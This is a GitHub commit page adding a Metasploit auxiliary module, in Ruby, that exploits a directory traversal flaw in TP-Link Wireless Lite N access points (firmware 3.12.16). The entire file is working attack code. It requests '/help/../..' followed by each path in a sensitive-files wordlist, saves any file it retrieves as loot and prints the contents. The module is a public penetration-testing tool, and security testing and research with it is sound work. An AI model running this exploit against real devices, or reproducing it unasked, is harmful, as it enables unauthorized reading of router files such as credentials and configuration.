Skip to content

Commit 543b401

Browse files
author
jvazquez-r7
committed
Merge branch 'tplink-traversal' of https://github.com/m-1-k-3/metasploit-framework into m-1-k-3-tplink-traversal
2 parents dcce23d + 8eb9e4a commit 543b401

File tree

1 file changed

+139
-0
lines changed

1 file changed

+139
-0
lines changed
Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Scanner
14+
15+
def initialize
16+
super(
17+
'Name' => 'TP-Link Wireless Lite N Access Point - Directory Traversal Vulnerability',
18+
'Description' => %q{
19+
This module tests whether a directory traversal vulnerablity is present
20+
in versions of TP-Link Access Point 3.12.16 Build 120228 Rel.37317n
21+
},
22+
'References' =>
23+
[
24+
[ 'URL', 'http://www.tp-link.com/en/support/download/?model=TL-WA701ND&version=V1' ],
25+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-011' ],
26+
[ 'BID', '57969' ],
27+
[ 'EDB', '24504' ]
28+
],
29+
'Author' => [ 'm-1-k-3' ],
30+
'License' => MSF_LICENSE
31+
)
32+
33+
register_options(
34+
[
35+
OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line",
36+
File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]),
37+
], self.class)
38+
end
39+
40+
def extract_words(wordfile)
41+
return [] unless wordfile && File.readable?(wordfile)
42+
begin
43+
words = File.open(wordfile, "rb") do |f|
44+
f.read
45+
end
46+
rescue
47+
return []
48+
end
49+
save_array = words.split(/\r?\n/)
50+
return save_array
51+
end
52+
53+
def find_files(file)
54+
traversal = '/../..'
55+
56+
res = send_request_cgi(
57+
{
58+
'method' => 'GET',
59+
'uri' => '/help' << traversal << file,
60+
})
61+
62+
return if res.nil?
63+
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /TP-LINK Router/)
64+
return if (res.code == 404)
65+
return if (res.code == 501)
66+
67+
if (res and res.code == 200 and res.body !~ /\<\/HTML/)
68+
out = false
69+
70+
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
71+
report_web_vuln({
72+
:host => rhost,
73+
:port => rport,
74+
:vhost => datastore['VHOST'],
75+
:path => "/",
76+
:pname => normalize_uri(traversal, file),
77+
:risk => 3,
78+
:proof => normalize_uri(traversal, file),
79+
:name => self.fullname,
80+
:category => "web",
81+
:method => "GET"
82+
})
83+
84+
loot = store_loot("lfi.data","text/plain",rhost, res.body,file)
85+
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
86+
87+
if datastore['VERBOSE'] == true
88+
vprint_good("#{rhost}:#{rport} - Response - File #{file}:")
89+
res.body.each_line do |line|
90+
#the following is the last line of the useless response
91+
if line.to_s =~ /\/\/--><\/SCRIPT>/
92+
#setting out = true to print all of the following stuff
93+
out = true
94+
next
95+
end
96+
if out == true
97+
if line =~ /<META/ or line =~ /<Script/
98+
#we are finished :)
99+
#the next line is typical code from the website and nothing from us
100+
#this means we can skip this stuff ...
101+
out = false
102+
next
103+
else
104+
#it is our output *h00ray*
105+
#output our stuff ...
106+
print_line("#{line}")
107+
end
108+
end
109+
end
110+
out = false
111+
end
112+
elsif (res and res.code)
113+
vprint_error("#{rhost}:#{rport} - File->#{file} not found")
114+
end
115+
end
116+
117+
def run_host(ip)
118+
119+
begin
120+
print_status("#{rhost}:#{rport} - connecting")
121+
res = send_request_cgi(
122+
{
123+
'method' => 'GET',
124+
'uri' => '/',
125+
})
126+
127+
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /TP-LINK Router/)
128+
129+
rescue ::Rex::ConnectionError
130+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
131+
return
132+
end
133+
134+
extract_words(datastore['SENSITIVE_FILES']).each do |files|
135+
find_files(files) unless files.empty?
136+
end
137+
138+
end
139+
end

0 commit comments

Comments
 (0)